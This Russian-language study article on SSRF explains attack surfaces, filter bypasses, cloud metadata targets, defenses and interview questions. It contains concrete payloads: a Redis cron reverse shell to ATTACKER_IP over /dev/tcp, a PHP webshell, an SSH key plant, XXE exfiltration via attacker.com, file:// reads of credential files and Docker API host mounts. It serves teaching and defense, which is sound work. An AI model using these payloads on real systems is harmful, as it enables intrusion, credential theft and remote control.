На странице
apsyleg1 мин
#ssrf #cloud #filter-bypass #rce #web-security

Server-Side Request Forgery (SSRF)

SSRF — уязвимость, при которой сервер выполняет HTTP/TCP-запрос по URL, который контролирует атакующий. Атакующий не обращается к цели напрямую — он заставляет сервер сделать это за него.

1. Что такое SSRF

Атакующий → Уязвимый сервер → Внутренний ресурс
                  ↑
          "Сходи по этому URL"

Ключевое отличие от обычного запроса: сервер находится внутри периметра сети и имеет доступ к ресурсам, недоступным извне: внутренние API, cloud metadata, базы данных, системы оркестрации.

Сервер выступает прокси — с его IP-адресом, его сетевыми разрешениями, его сессионными куками к внутренним сервисам. Один SSRF может превратиться в утечку IAM-ключей, чтение произвольных файлов или полный RCE через внутренние сервисы.


2. Где искать SSRF

Очевидные точки входа

  • Загрузка файлов/изображений по URL (url=, src=, image_url=)
  • Загрузка аватара по ссылке
  • Импорт данных по URL (RSS, XML, CSV)
  • Webhook-и — пользователь задаёт URL для callback'ов
  • Превью ссылок (как в Slack, Telegram, мессенджерах)

Менее очевидные точки

  • PDF/HTML генерация — wkhtmltopdf, Puppeteer, WeasyPrint рендерят HTML и подгружают ресурсы. Payload'ы внутри HTML, который конвертируется в PDF:
    <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
    <img src="http://internal-service:8080/admin">
    <link rel="stylesheet" href="http://169.254.169.254/latest/user-data">
    <script>fetch('http://169.254.169.254/...').then(r=>r.text()).then(d=>document.write(d))</script>
    
  • SOAP/XML-парсинг — внешние сущности (XXE → SSRF), подробнее: XXE
  • Интеграции с API — пользователь указывает endpoint стороннего сервиса
  • Загрузка SVG, DOCX, XLSX — внутри XML с возможными external entities
  • Проверка доступности URL / health-check
  • Редиректы на стороне сервера

Параметры для поиска

url=, uri=, path=, src=, dest=, redirect=, link=, feed=,
callback=, next=, target=, rurl=, domain=, endpoint=,
proxy=, page=, load=, fetch=, site=, html=, val=, view=

Заголовки

  • Referer — некоторые приложения ходят по Referer для аналитики
  • X-Forwarded-Host / Host — реже, но при неправильной обработке

3. Типы SSRF

Non-blind (Classic) SSRF

Ответ от внутреннего сервиса возвращается атакующему — полностью или частично.

GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

Ответ: ami-id, instance-id, iam/security-credentials/...

Blind SSRF

Ответ не возвращается. Способы подтверждения и эксплуатации:

ТехникаКак работает
OOB (out-of-band)Запрос на Burp Collaborator / interactsh — смотрим DNS/HTTP callback
ТаймингОткрытый порт отвечает быстро, закрытый — таймаут. Разница во времени ответа
Разница ошибокРазные HTTP-коды или сообщения при разных внутренних ответах
Побочные эффектыSSRF на внутренний API, который что-то меняет (удаление, перезагрузка)

Partial SSRF

Ответ приходит, но обрезан или отфильтрован — видим только код ответа, Content-Length или заголовки.


4. Протоколы (Schemes)

http:// и https://

Базовый вектор. Запросы к внутренним веб-сервисам и API.

file://

Чтение локальных файлов:

file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ        — переменные окружения (могут содержать секреты)
file:///proc/self/cmdline        — аргументы запуска процесса
file:///home/user/.ssh/id_rsa    — приватные SSH-ключи
file:///var/www/html/config.php  — конфиги приложения
file:///root/.bash_history       — история команд

На Windows:

file:///C:/Windows/win.ini
file:///C:/Users/Administrator/.ssh/id_rsa

gopher://

Самый мощный протокол для SSRF. Позволяет отправить произвольные байты в TCP-соединение.

Формат: gopher://host:port/_<url-encoded данные>

  • _ — первый символ после /, игнорируется
  • %0D%0A\r\n (перенос строки)
  • Все спецсимволы URL-encode'ятся

Позволяет взаимодействовать с любым TCP-сервисом: Redis, SMTP, MySQL, FastCGI, Memcached.

dict://

Формат: dict://host:port/команда

Используется для:

  • Отправки одиночных команд в Redis/Memcached
  • Сканирования портов

Ограничение: отправляет только одну строку, не подходит для сложных цепочек команд.

Другие

  • ftp:// — взаимодействие с FTP, bounce-атаки
  • sftp://
  • ldap:// / ldaps:// — запросы к LDAP-серверам
  • tftp:// — UDP-based
  • jar:// — специфично для Java, может загружать удалённые файлы

5. Обход фильтров

Обход blacklist на IP (127.0.0.1, localhost)

Альтернативные записи localhost:

http://127.1
http://127.0.1
http://127.000.000.001
http://0
http://0.0.0.0

Decimal (десятичная):

http://2130706433        → 127.0.0.1

Конвертация: 127×256³ + 0×256² + 0×256¹ + 1 = 2130706433

Hex (шестнадцатеричная):

http://0x7f000001
http://0x7f.0x0.0x0.0x1

Octal (восьмеричная):

http://0177.0.0.01
http://017700000001

IPv6:

http://[::1]
http://[0000::1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]

Домены, резолвящиеся в 127.0.0.1:

http://localtest.me
http://vcap.me
http://127.0.0.1.nip.io
http://spoofed.burpcollaborator.net   (свой Collaborator с DNS)

Обход whitelist на домен

URL-парсинг (разночтения между парсером и HTTP-клиентом):

http://allowed.com@attacker.com       — userinfo часть URL
http://attacker.com#allowed.com       — fragment
http://attacker.com?q=allowed.com     — query string
http://allowed.com.attacker.com       — поддомен

Open redirect:

http://allowed.com/redirect?url=http://169.254.169.254/

Если на разрешённом домене есть open redirect — используй как промежуточный хоп.

Encoded символы:

http://allowed.com%00@attacker.com    — null byte
http://allowed.com%2F%2Fattacker.com

Обход фильтра на схему

gopher://  → Gopher://  → GOPHER://   (case-insensitive)
file://    → File://

Обход через редирект

Если сервер следует за HTTP-редиректами:

  1. Первый URL проходит фильтр: http://attacker.com/redirect
  2. Attacker возвращает 302 Location: http://127.0.0.1/admin
  3. Сервер идёт по редиректу → фильтр уже не проверяет

Можно менять схему через редирект:

http://attacker.com/redirect → gopher://127.0.0.1:6379/...

DNS rebinding

Проблема: сервер резолвит DNS и проверяет IP перед запросом.

Обход:

  1. evil.com → первый DNS-ответ: 1.2.3.4 (внешний, проходит проверку)
  2. Сервер валидирует — ОК
  3. Второй DNS-запрос (для соединения): evil.com127.0.0.1
  4. Запрос уходит на localhost

Настройка: свой DNS с TTL=0, чередующий ответы. Инструменты: rbndr.us, Singularity of Origin.

TOCTOU (Time-of-Check to Time-of-Use)

DNS rebinding — частный случай более общего паттерна TOCTOU: между моментом проверки (DNS resolve → IP ок) и моментом использования (HTTP-запрос) состояние меняется. Это важно понимать, потому что TOCTOU встречается не только в DNS — например, если приложение проверяет URL, сохраняет его, и использует позже, промежуточный редирект на этом URL может измениться.

SSRF + CRLF Injection

Если в URL можно вставить \r\n (CRLF), можно добавить произвольные HTTP-заголовки в запрос, который делает сервер:

http://internal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A

Это позволяет обойти защиты вроде IMDSv2, которые требуют специальные заголовки. Если HTTP-клиент сервера не экранирует CRLF в URL — мы контролируем заголовки запроса.


6. Cloud Metadata — главная цель

AWS (IMDSv1)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data

Главный приз — IAM credentials:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3...",
  "Expiration": "2026-04-18T12:00:00Z"
}

С этими ключами → доступ к S3, EC2, Lambda, DynamoDB и т.д.

IMDSv2 (защита):

Шаг 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
        → Получаем токен

Шаг 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: <токен>

Простой GET-based SSRF не сработает — нужен PUT + кастомный заголовок. Но если SSRF позволяет управлять методом и заголовками (или есть CRLF injection) — IMDSv2 тоже может быть обойдён.

GCP

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

Требует заголовок: Metadata-Flavor: Google — но через gopher можно подставить.

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Требует заголовок: Metadata: true

DigitalOcean

http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data

Kubernetes

Если сервер работает в Pod'е Kubernetes:

# Service account token (аутентификация в API кластера)
file:///var/run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes API — секреты всего namespace
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

# Kubelet read-only API — информация о Pod'ах
http://localhost:10255/pods

# etcd — хранилище всего состояния кластера
http://localhost:2379/v2/keys/

# Kubernetes environment variables
file:///proc/self/environ

Service account token + Kubernetes API = потенциально полный доступ к кластеру, секретам, другим сервисам.


7. Пути к RCE через SSRF

Redis (порт 6379)

Redis без аутентификации + gopher = запись произвольных файлов.

Вектор 1 — Crontab (Linux):

gopher://127.0.0.1:6379/_
SET shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE

→ Reverse shell через cron каждую минуту.

Вектор 2 — Webshell:

SET shell "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE

→ Webshell по адресу http://target.com/shell.php?cmd=id

Вектор 3 — SSH authorized_keys:

SET ssh "\n\nssh-rsa AAAAB3... attacker@box\n\n"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE

→ SSH-доступ без пароля.

Инструмент: Gopherus автоматически генерирует gopher-payload для Redis.

PHP-FPM / FastCGI (порт 9000)

PHP-FPM выполняет PHP-код по запросу через протокол FastCGI.

Атака:

  1. Формируем FastCGI-пакет через gopher
  2. Указываем существующий .php файл (например, /var/www/html/index.php)
  3. Устанавливаем PHP_VALUE: auto_prepend_file = php://input
  4. В теле — <?php system("id"); ?>
  5. PHP-FPM выполняет код → RCE без записи файлов

Инструмент: Gopherus → FastCGI payload.

SMTP (порт 25)

Не RCE, но полезно:

gopher://127.0.0.1:25/_
HELO attacker.com%0D%0A
MAIL FROM:<attacker@evil.com>%0D%0A
RCPT TO:<admin@target.com>%0D%0A
DATA%0D%0A
Subject: Test%0D%0A
Phishing email body%0D%0A
.%0D%0A
QUIT

→ Отправка email от имени внутреннего сервера (для фишинга, social engineering).

MySQL (порт 3306)

Если MySQL без пароля (пустой пароль для root в dev-окружениях):

  • Через gopher формируем MySQL-пакет аутентификации
  • Отправляем SQL-запрос: SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'
  • → Webshell

Ограничение: MySQL-протокол бинарный и сложный, работает не всегда.

Внутренние API без аутентификации

Многие внутренние сервисы доверяют запросам из внутренней сети:

  • Kubernetes API (http://kubernetes.default.svc)
  • Docker API (http://127.0.0.1:2375)
  • Consul, etcd, Elasticsearch
  • Админки (Jenkins, Grafana, Kibana)

Docker API → RCE:

POST http://127.0.0.1:2375/containers/create
Body: {"Image":"alpine","Cmd":["sh"],"Binds":["/:/mnt"]}

→ Монтируем хост-файловую систему в контейнер → полный доступ.

Цепочка SSRF → Cloud Keys → Full Compromise

  1. SSRF → 169.254.169.254 → IAM credentials
  2. С ключами: aws s3 ls, aws ec2 describe-instances
  3. Ищем S3-бакеты с секретами, базы данных, другие инстансы
  4. Lateral movement по облачной инфраструктуре

8. SSRF через XXE

XML-парсеры обрабатывают внешние сущности — это даёт SSRF + чтение файлов.

Базовый XXE → SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Blind XXE → OOB exfiltration

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

Где встречается XXE

  • API с Content-Type: application/xml
  • Загрузка SVG: <image xlink:href="http://internal/...">
  • Загрузка DOCX/XLSX (ZIP с XML внутри)
  • SOAP-эндпоинты
  • Иногда можно сменить Content-Type: application/json на application/xml

Подробный разбор XXE → XXE (XML External Entities).


9. Связки с другими уязвимостями

ЦепочкаКак работаетИмпакт
SSRF → XXESSRF на внутренний сервис, который парсит XMLЧтение файлов, дальнейший SSRF
XXE → SSRFВнешняя сущность с http:// URIДоступ к внутренним сервисам, cloud metadata
SSRF → SSTISSRF на внутренний сервис, который рендерит шаблоныRCE через template injection
SSTI → SSRFRCE через SSTI = можно делать любые запросыПолный доступ к внутренней сети
SSRF → DeserializationSSRF на внутренний Java/PHP сервис с десериализациейRCE
SSRF + CRLFCRLF в URL → произвольные заголовкиОбход IMDSv2, header injection
SSRF + Open RedirectRedirect на разрешённом домене как трамплинОбход whitelist

10. Методология тестирования

Шаг 1: Обнаружение

  • Найти все параметры, принимающие URL
  • Проверить скрытые параметры (Param Miner)
  • Посмотреть JS-файлы на скрытые эндпоинты
  • Проверить функции загрузки, импорта, webhook'ов

Шаг 2: Подтверждение

  • Вставить Burp Collaborator URL
  • Если callback не пришёл:
    • Попробовать обфускацию, другие схемы
    • Проверить DNS callback отдельно от HTTP
    • Сравнить тайминг: http://10.255.255.1 (non-routable) vs обычный URL
    • Возможно, firewall блокирует исходящие — попробовать внутренние адреса

Шаг 3: Определение типа

  • Ответ виден → non-blind → читаем данные
  • Только callback → blind → OOB/тайминг

Шаг 4: Обход фильтров

  • IP-обфускация (decimal, hex, octal, IPv6)
  • DNS-трюки (свой домен → 127.0.0.1, DNS rebinding)
  • URL-парсинг (@, #, %00)
  • Редиректы
  • Смена схемы

Шаг 5: Эскалация

1. http://169.254.169.254/...        → cloud credentials
2. file:///etc/passwd                → чтение файлов
3. http://127.0.0.1:PORT             → сканирование портов
4. gopher://127.0.0.1:6379/...       → Redis → RCE
5. gopher://127.0.0.1:9000/...       → FastCGI → RCE
6. http://127.0.0.1:2375/...         → Docker API → RCE
7. http://kubernetes.default.svc/... → K8s API → секреты кластера

Практическое упражнение: SSRF с обходом blacklist-фильтра (PortSwigger).


11. Защита от SSRF

Уровень приложения (валидация входа)

  1. Whitelist разрешённых доменов/IP — не blacklist. Blacklist всегда можно обойти (decimal, hex, IPv6, домены-резолверы).
  2. Whitelist схем — только http:// и https://. Отключить file://, gopher://, ftp://, dict:// и остальные.
  3. Ограничение портов — разрешить только стандартные HTTP-порты (80, 443, 8080, 8090). Это предотвращает взаимодействие с Redis (6379), MySQL (3306), FastCGI (9000).
  4. Валидация IP после DNS-резолва — резолвишь DNS → проверяешь что IP не приватный (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → подключаешься к тому же IP (не резолвишь повторно — иначе TOCTOU/DNS rebinding).
  5. Валидация доменных имён — проверять структуру URL, не доверять user-supplied домену без whitelist.
  6. Отключить или валидировать редиректы — лучше отключить. Если бизнес требует — проверять каждый хоп, не только первый URL. Частая ошибка: валидация только первого шага, а редирект уже проходит без проверки.
  7. Понимать, как библиотека обрабатывает адреса — разные HTTP-клиенты по-разному парсят URL. urllib в Python, curl в PHP, HttpClient в Java — у каждого свои особенности с userinfo (@), фрагментами (#), null bytes.

Уровень ответа (фильтрация выхода)

  1. Фильтрация возвращаемой информации — если приложение ожидает определённый тип данных (JSON, изображение), проверять соответствие формата до отображения пользователю.
  2. Блокировка детализации ответа — не возвращать пользователю полный ответ от внутреннего сервиса. Минимум информации.
  3. Одинаковые сообщения об ошибках — унифицировать ошибки, чтобы нельзя было определить состояние внутренних портов и сервисов по разнице в error messages.

Уровень инфраструктуры

  1. Сетевая сегментация — сервер приложения не должен иметь доступ к произвольным внутренним сервисам. Firewall-правила: только необходимые порты и хосты.
  2. Ограничение доступа к внутренней инфраструктуре — для серверов, потенциально подверженных SSRF (те, что обрабатывают user-supplied URL), ограничить исходящие соединения к внутренней сети.
  3. Изоляция — если функциональность с URL нельзя убрать, вынести её в отдельный изолированный сегмент сети с минимальными привилегиями.
  4. Metadata concealment — IMDSv2 (AWS), обязательные заголовки (GCP: Metadata-Flavor, Azure: Metadata). Но не полагаться только на это — CRLF injection или gopher могут подставить заголовки.

Частые ошибки

  • Blacklist вместо whitelist — всегда можно обойти
  • Валидация URL строки, а не IP после резолва — DNS rebinding
  • Проверка только первого URL — редирект обходит
  • Забыли про IPv6, decimal, octal формы IP
  • Полагание на "наша библиотека безопасна" без проверки конкретного поведения

12. Оценка Severity

SeverityУсловия
CriticalCloud credentials, RCE (Redis/FastCGI/Docker), доступ к БД с данными
HighЧтение файлов (file://), non-blind доступ к внутренней сети, доступ к внутренним API
MediumBlind SSRF, сканирование портов, ограниченные протоколы
LowТолько внешние запросы, жёсткий whitelist с минимальным контролем

13. Инструменты

ИнструментНазначение
Burp CollaboratorПодтверждение blind SSRF (DNS/HTTP callback)
interactshБесплатная альтернатива Collaborator
GopherusГенерация gopher-payload'ов для Redis, MySQL, FastCGI, SMTP
SSRFmapАвтоматизация SSRF-эксплуатации
Burp IntruderФаззинг параметров и обход фильтров
Param Miner (Burp extension)Поиск скрытых параметров

14. Известные кейсы

Capital One (2019): SSRF → AWS metadata → IAM keys → S3 → утечка 106M записей. Штраф $80M.

GitLab (CVE-2021-22214): SSRF через webhook-валидацию, обход через DNS rebinding.

Shopify (2018, Bug Bounty): SSRF через импорт товаров → GCP metadata. Баунти $15,000.

Microsoft Exchange — ProxyLogon (2021): Цепочка SSRF + deserialization → RCE. Массовая эксплуатация.


15. Q&A — Вопросы для подготовки

1. Что такое SSRF?

Уязвимость, при которой сервер выполняет сетевой запрос по адресу, контролируемому атакующим. Сервер становится "прокси" — он находится внутри сетевого периметра и имеет доступ к ресурсам, недоступным извне. Атакующий не обращается к цели напрямую, а заставляет сервер сделать это, используя его привилегии и сетевое расположение.

2. Какие функции чаще всего становятся входом для SSRF?

Любой функционал, где сервер обращается по user-supplied URL: загрузка изображений/файлов по ссылке, webhook'и, превью ссылок, импорт данных (RSS/XML/CSV), PDF/HTML-генерация, интеграции с внешними API. Менее очевидные точки: XML-парсинг (XXE→SSRF), загрузка SVG/DOCX, проверки доступности URL, серверные редиректы.

3. Почему SSRF опаснее, чем просто "сервер сходил не туда"?

Сервер находится в доверенной зоне сети. Он может обращаться к cloud metadata (169.254.169.254) и получить IAM-ключи — это путь к полному компрометированию облачной инфраструктуры. Внутренние сервисы (Redis, Docker API, Kubernetes) часто не имеют аутентификации для запросов из внутренней сети. Один SSRF может превратиться в RCE, утечку данных или lateral movement по всей инфраструктуре.

4. Чем blind SSRF отличается от "обычного" SSRF?

При обычном (non-blind) SSRF ответ внутреннего сервиса возвращается атакующему — можно читать данные напрямую. При blind SSRF ответ не виден. Подтверждение и эксплуатация идут через побочные каналы: OOB-callback (DNS/HTTP на свой сервер), разницу во времени ответа (открытый порт быстро, закрытый — timeout), разницу в ошибках, или побочные эффекты запроса (например, удаление данных через внутренний API).

5. Где искать скрытую поверхность атаки для SSRF, кроме очевидного параметра url?

Заголовки (Referer, X-Forwarded-Host), скрытые параметры (Param Miner), PDF/HTML-генераторы (Puppeteer/wkhtmltopdf рендерят ресурсы из HTML), XML-парсеры (XXE→SSRF), офисные документы (DOCX/XLSX содержат XML с external entities), JS-файлы клиента (могут раскрывать скрытые эндпоинты бэкенда), серверные редиректы.

6. Почему доступ "только к localhost или внутренней сети" не делает SSRF безопасным?

На localhost работают десятки сервисов: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Многие из них не требуют аутентификации для локальных подключений. Redis без пароля + gopher = запись произвольных файлов → crontab → reverse shell. Docker API → создание контейнера с монтированием хост-файловой системы → полный контроль.

7. Почему простая regex-валидация URL и blocklist почти всегда ненадёжны?

IP-адрес 127.0.0.1 можно записать десятком способов: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (::1, ::ffff:127.0.0.1), короткие формы (127.1, 0). Есть домены, резолвящиеся в 127.0.0.1 (localtest.me, vcap.me). URL-парсинг имеет разночтения: allowed.com@attacker.com, null bytes, fragment tricks. Regex не учитывает все варианты кодирования и парсинг-разночтения.

8. Почему в SSRF так важны redirects и DNS?

Редиректы позволяют обойти валидацию первого URL: фильтр проверяет http://allowed.com/redirect, а тот возвращает 302 на http://127.0.0.1/admin. Через редирект можно менять схему (http → gopher). DNS rebinding эксплуатирует TOCTOU: при проверке домен резолвится во внешний IP (проходит валидацию), при подключении — в 127.0.0.1. Если приложение не валидирует каждый шаг и не привязывает IP после resolve — эти обходы работают.

9. Почему SSRF особенно опасен в облаке и контейнерной среде?

Облачные провайдеры предоставляют metadata service (169.254.169.254) с IAM-ключами, токенами, конфигурацией. IMDSv1 (AWS) отдаёт ключи по простому GET — идеальная цель для SSRF. В Kubernetes каждый Pod имеет service account token, а Kubernetes API доступен по DNS имени kubernetes.default.svc. Docker API без TLS на порту 2375 позволяет создавать контейнеры с доступом к хост-системе. Плотная компоновка сервисов в контейнерах увеличивает attack surface.

10. Как выглядит зрелая защита от SSRF?

Три уровня. Приложение: whitelist разрешённых доменов и схем (только http/https), валидация IP после DNS resolve (не URL-строки, а resolved IP — и использование того же IP для подключения), отключение или пошаговая валидация редиректов, понимание поведения конкретной HTTP-библиотеки. Ответ: фильтрация формата возвращаемых данных, унификация ошибок, минимизация возвращаемой информации. Инфраструктура: сетевая сегментация, IMDSv2/metadata headers, изоляция SSRF-подверженных сервисов в отдельный сегмент.


16. Шпаргалка для быстрого повторения

SSRF = сервер ходит по URL атакующего

Где: url=, загрузки, вебхуки, PDF-генерация, XML-парсинг
Типы: non-blind (видим ответ) / blind (не видим)
Протоколы: http, file, gopher, dict

Обход фильтров:
  IP → decimal/hex/octal/IPv6/домены
  Домен → @, #, open redirect, DNS rebinding
  Схема → регистр, редирект
  TOCTOU → проверка и использование — разные моменты
  CRLF → произвольные заголовки в запросе

Цели:
  169.254.169.254 → cloud keys (AWS/GCP/Azure)
  file:///etc/passwd → файлы
  gopher → Redis/FastCGI → RCE
  Docker API (2375) → RCE
  Kubernetes API → секреты кластера
  Service account token → /var/run/secrets/kubernetes.io/...

Защита:
  Приложение: whitelist доменов/схем, валидация IP после resolve, контроль редиректов
  Ответ: фильтрация формата, uniform errors, минимум данных
  Инфраструктура: сегментация, IMDSv2, изоляция

Severity: RCE/cloud keys = critical, файлы/внутренняя сеть = high, blind = medium